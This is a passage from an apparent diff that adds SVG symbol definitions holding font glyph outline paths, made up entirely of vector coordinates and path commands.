2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
